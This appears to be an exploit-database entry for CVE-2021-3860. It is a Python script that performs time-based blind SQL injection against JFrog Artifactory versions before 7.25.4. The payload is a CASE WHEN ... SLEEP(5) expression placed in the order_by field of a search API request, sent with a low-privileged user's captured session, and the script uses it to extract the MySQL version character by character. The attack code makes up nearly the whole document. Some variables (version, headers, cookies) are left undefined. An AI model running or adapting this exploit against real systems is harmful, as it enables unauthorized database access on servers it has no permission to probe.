JFrog Artifactory < 7.25.4 - Blind SQL Injection
# Exploit Title: artifactory low-privileged blind sql injection # Google Dork: # Date: # Exploit Author: ardr # Vendor Homepage:https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection # Software Link: https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection # Version: JFrog Artifactory prior to 7.25.4 # Tested on: MySQL # CVE : CVE-2021-3860 import requests, string, time from sys import stdout,exit import warnings from requests.packages.urllib3.exceptions import InsecureRequestWarning # written by 75fc58fa86778461771d2ff7f68b28259e97ece9bf6cd8be227c70e6a6140314c97d3fdac30b290c6b10d3679c5ba890635a1ca6fa23c83481dfc1257cd062fd # old script for CVE-2021-3860 # log into artifactory with any user. there must be populated data in the system. a fresh install will not work. # you will need to be able to capture a valid request to the below endpoint in order to run this script. # once captured, replace the cookies and headers below warnings.simplefilter('ignore',InsecureRequestWarning) session = requests.session() base = input("Please enter the base url: ") url = f"{base}/ui/api/v1/global-search/bundles/received?$no_spinner=true" # headers = Replace this with captured headers from the above endpoint pos = 1 # cookies = Replace this with captured cookies from the above endpoint while True: for i in string.digits + '.': data={"after": "", "before": "", "direction": "asc", "name": "*", "num_of_rows": 100, "order_by": f"(select*from(select((CASE WHEN (MID(VERSION(),{pos},1) = '{i}') THEN SLEEP(5) ELSE 4616 END)))a)"} start = time.time() r = session.post(url, headers=headers, cookies=cookies, json=data, verify=False) request_time = time.time() - start if request_time > 5: version += i pos += 1 stdout.write(i) stdout.flush() break if len(version) >= 6: stdout.write("\n") print(f"Version found: MySQL {version}") exit(0) |